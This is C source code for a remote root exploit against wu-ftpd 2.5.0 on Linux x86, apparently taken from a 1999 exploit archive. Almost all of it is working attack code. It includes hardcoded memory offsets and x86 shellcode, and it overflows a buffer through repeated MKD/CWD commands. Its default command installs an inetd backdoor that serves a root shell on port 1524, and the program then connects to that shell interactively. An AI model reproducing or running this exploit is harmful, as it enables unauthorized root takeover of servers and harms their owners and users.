/* * Copyright (c) 1999 anathema . All rights reserved. * -> PRIVATE. DO NOT DISTRIBUTE. <- * * wu-ftpd 2.5.0 proof-of-concept remote root exploit (linux x86) * Tested against wu-ftpd2.5.0 default source compilation. * * As we don't perform any error checking in ftp_login(), you should * not specify an invalid username, password or initial directory. * * You will need to obtain the correct offsets for each specific * variant of wu-ftpd. Read the comments. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * You will almost certainly need to modify these for the specific * wu-ftpd you are attempting to exploit. */ #define ADDR_MAPPEDPATH 0x8067360 #define ADDR_ERRCATCH_ST 0x8074f90 #define ADDR_ERRCATCH_FI 0x8074fa4 /* * MAXPATHLEN is usually 1024. */ #define REMOTE_MAXPATHLEN 1024 #define FTP_PORT 21 #define BD_PORT 1524 #define RETPOS 255 #define PRLEN 164 /* #define VERBOSE */ /* * Function prototypes. */ u_long resolve_host(u_char *); void ftp_login(int, u_char *, u_char *, u_char *); void send_data(int, u_char *, ...); void recv_data(int, int); void exploit(int, u_char *, u_int, u_int, u_int); void surface_patterns(u_long); void euphoric(u_long, u_char *, u_char *, u_char *, u_short, u_short, u_int, int, u_char *); char c0de[] = "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x64\x5b\x89\xd9\x80\xc1\x0f\x39" "\xd9\x7c\x06\x80\x29\x04\x49\xeb\xf6\x29\xc0\x88\x43\x01\x88\x43\x08\x88\x43" "\x10\x87\xf3\xb0\x0c\x8d\x5e\x07\xcd\x80\xb0\x27\x8d\x1e\x29\xc9\xcd\x80\x29" "\xc0\xb0\x3d\xcd\x80\x29\xc0\xb0\x0c\x8d\x5e\x02\xcd\x80\x29\xc0\x88\x46\x03" "\xb0\x3d\x8d\x5e\x02\xcd\x80\x29\xc0\x8d\x5e\x09\x89\x5b\x08\x89\x43\x0c\x88" "\x43\x07\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x97" "\xff\xff\xff\xff\xff\xff\x45\x45\x32\x32\x33\x32\x32\x33\x45\x33\x66\x6d\x72" "\x33\x77\x6c"; u_long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void ftp_login(int sock, u_char *user, u_char *pass, u_char *dir) { recv_data(sock, 1); send_data(sock, "USER %s\n", user); send_data(sock, "PASS %s\n", pass); send_data(sock, "CWD %s\n", dir); } void send_data(int sock, u_char *buf, ...) { u_char tmp_buf[4096]; va_list valist; memset(tmp_buf, 0, sizeof(tmp_buf)); va_start(valist, buf); vsnprintf(tmp_buf, sizeof(tmp_buf), buf, valist); #ifdef VERBOSE fprintf(stderr, "-> %s", tmp_buf); #endif /* VERBOSE */ usleep(10000); if (write(sock, tmp_buf, strlen(tmp_buf)) == -1) { perror("write"); close(sock); exit(-1); } va_end(valist); recv_data(sock, 1); } void recv_data(int sock, int disp) { u_char tmp_buf[4096]; usleep(10000); memset(tmp_buf, 0, sizeof(tmp_buf)); if (recv(sock, tmp_buf, sizeof(tmp_buf) - 1, 0) == -1) { if (disp) { perror("recv"); close(sock); exit(-1); } } if (disp) fprintf(stderr, ": %s\n", tmp_buf); } void exploit(int sock, u_char *pwd, u_int dir_len, u_int p_len, u_int align) { u_long errcatch_st_addr = ADDR_ERRCATCH_ST; u_long errcatch_fi_addr = ADDR_ERRCATCH_FI; u_long mappedpath_addr = ADDR_MAPPEDPATH; u_long append_addr = errcatch_st_addr; u_char padding[4096]; u_char buf[25000]; u_int fill_tr = 0; int i = 0, nl = 0; errcatch_st_addr -= p_len; errcatch_fi_addr += p_len; append_addr += (p_len + align); fill_tr = REMOTE_MAXPATHLEN / (dir_len + p_len); #ifdef VERBOSE fprintf(stderr, "fill_tr == %d\n" "errcatch_st_addr == 0x%lx && " "errcatch_fi_addr == 0x%lx && " "append_addr == 0x%lx\n", fill_tr, errcatch_st_addr, errcatch_fi_addr, append_addr); #endif /* VERBOSE */ memset(buf, 0, sizeof(buf)); memset(padding, 0, sizeof(padding)); memset(padding, 0x90, RETPOS - (p_len + align)); for (; i < fill_tr; i++) { send_data(sock, "MKD %s\n", padding); send_data(sock, "CWD %s\n", padding); } memset(padding, 0, sizeof(padding)); memcpy(padding, c0de, strlen(c0de)); padding[strlen(padding)+1] = 0; send_data(sock, "MKD %s\n", padding); send_data(sock, "CWD %s\n", padding); memcpy(buf, "CWD ", 4); memset(buf + 4, 0x90, strlen(padding)); append_addr += (dir_len + (84 - p_len)); nl = strlen(buf) + 1; for (i = nl; i < (nl + 84 - p_len); i += 4) { buf[i+0] = (errcatch_st_addr & 0xff); buf[i+1] = (errcatch_st_addr >> 8) & 0xff; buf[i+2] = (errcatch_st_addr >> 16) & 0xff; buf[i+3] = (errcatch_st_addr >> 24) & 0xff; } nl = strlen(buf) + 1; for (i = nl; i < (nl + (p_len - dir_len)); i += 4) { buf[i+0] = (mappedpath_addr & 0xff); buf[i+1] = (mappedpath_addr >> 8) & 0xff; buf[i+2] = (mappedpath_addr >> 16) & 0xff; buf[i+3] = (mappedpath_addr >> 24) & 0xff; } i = strlen(buf) + 1; buf[i++] = (errcatch_fi_addr & 0xff); buf[i++] = (errcatch_fi_addr >> 8) & 0xff; buf[i++] = (errcatch_fi_addr >> 16) & 0xff; buf[i++] = (errcatch_fi_addr >> 24) & 0xff; nl = strlen(buf) + 1; for (i = nl; i < (nl + 8); i += 4) { buf[i+0] = (append_addr & 0xff); buf[i+1] = (append_addr >> 8) & 0xff; buf[i+2] = (append_addr >> 16) & 0xff; buf[i+3] = (append_addr >> 24) & 0xff; } send_data(sock, "%s\n\n", buf); } void surface_patterns(u_long dst_ip) { struct sockaddr_in sin; u_char sock_buf[4096]; fd_set fds; int sock; fprintf(stderr, "Attempting to connect to backdoor..\n"); sleep(2); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(BD_PORT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to backdoor"); close(sock); exit(-1); } fprintf(stderr, "owned\n"); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1) { perror("select"); close(sock); exit(-1); } memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); close(sock); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) /* STDIN_FILENO */ { read(0, sock_buf, sizeof(sock_buf) - 1); write(sock, sock_buf, strlen(sock_buf)); } } /* NOTREACHED */ } void euphoric(u_long dst_ip, u_char *user, u_char *pass, u_char *dir, u_short src_prt, u_short dst_prt, u_int align, int alt_cmd, u_char *cmd) { struct sockaddr_in sin; struct in_addr inaddr; u_int dir_len; int sock; dir_len = (u_int)strlen(dir); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (src_prt) { struct sockaddr_in min; min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1) { perror("bind"); close(sock); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(dst_prt); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to ftp daemon"); close(sock); exit(-1); } inaddr.s_addr = dst_ip; fprintf(stderr, "\nAttacking target `%s`:\n Auth: [%s:%s]\n Dir: [%s]\n", inet_ntoa(inaddr), user, pass, dir); /* * Login to the FTP server. * No error checking is done here, so you should make sure * the login/pass/dir are valid before attempting to exploit. */ ftp_login(sock, user, pass, dir); /* * The game starts here. */ exploit(sock, dir, dir_len, (PRLEN + dir_len), align); /* * Now send the command we want executed to the FTP server. */ send_data(sock, "%s\n", cmd); if (!alt_cmd) { /* * If the user hasn't specified an alternative command, make * the connection to the backdoor. [2000]*/ surface_patterns(dst_ip); /* NOTREACHED */ } sleep(2); fprintf(stderr, "Completed.\n"); exit(0); } void usage(u_char *nomenclature) { fprintf(stderr, "No.\nusage:\t%s dst_host|ip [ -u user ] [ -p pass ] [ -x dir ]\n\t" "[ -s src_prt ] [ -d dst_prt ] [ -a align ] [ -c alt_cmd ]\n\n", nomenclature); exit(0); } int main(int argc, char **argv) { u_long dst_ip = 0; u_short src_prt = 0; u_short dst_prt = FTP_PORT; u_int align = 0; u_char *user = "ftp"; u_char *pass = "-rewt@broken"; u_char *dir = "incoming"; u_char cmd[255]; int opt = 0; int alt_cmd = 0; if (argc < 2) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } memset(cmd, 0, sizeof(cmd)); while ((opt = getopt(argc, argv, "u:p:x:s:d:a:c:")) != EOF) { switch(opt) { case 'u': /* username */ user = optarg; break; case 'p': /* password */ pass = optarg; break; case 'x': /* initial directory */ dir = optarg; break; case 's': /* source port */ src_prt = (u_short)atoi(optarg); break; case 'd': /* alternative dest port */ dst_prt = (u_short)atoi(optarg); break; case 'a': /* alignment */ align = (u_int)atoi(optarg); break; case 'c': /* alternative command */ strncpy(cmd, optarg, sizeof(cmd)); alt_cmd = 1; break; default: usage(argv[0]); /* NOTREACHED */ } } if (src_prt < 1024) { /* * Must be root to bind() to a reserved source port. [2000]*/ if (getuid() && geteuid()) { fprintf(stderr, "Inadequate privileges\n"); exit(-1); } } if (!alt_cmd) { /* * Use the default command. * If used, the exploit will automatically spawn a remote shell. [2000]*/ strcpy(cmd, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >/tmp/x; /usr/sbin/inetd /tmp/x\n"); } euphoric(dst_ip, /* destination address */ user, /* username */ pass, /* password */ dir, /* initial directory */ src_prt, /* source port */ dst_prt, /* destination port */ align, /* alignment */ alt_cmd, /* alternative command flag */ cmd); /* command to execute */ /* NOTREACHED */ } /* www.hack.co.za [2000]*/